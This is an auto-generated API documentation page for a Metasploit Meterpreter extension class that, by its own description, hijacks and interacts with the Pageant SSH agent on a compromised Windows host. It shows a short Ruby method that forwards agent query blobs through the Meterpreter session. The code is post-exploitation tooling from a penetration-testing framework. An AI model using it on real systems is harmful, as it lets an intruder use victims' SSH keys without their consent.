Class: Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant

Inherits:
Object
  • Object
show all
Defined in:
lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb

Overview

PageantJacker extension - Hijack and interact with Pageant

Stuart Morgan <stuart.morgan@mwrinfosecurity.com>

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Pageant

Returns a new instance of Pageant.



17
18
19
# File 'lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb', line 17

def initialize(client)
  @client = client
end

Instance Attribute Details

#clientObject

Returns the value of attribute client.



38
39
40
# File 'lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb', line 38

def client
  @client
end

Instance Method Details

#forward(blob, size) ⇒ Object



21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# File 'lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb', line 21

def forward(blob, size)
  return nil unless size > 0 && blob.size > 0

  packet_request = Packet.create_request(COMMAND_ID_EXTAPI_PAGEANT_SEND_QUERY)
  packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)
  packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)

  response = client.send_request(packet_request)
  return nil unless response

  {
    success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),
    blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),
    error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)
  }
end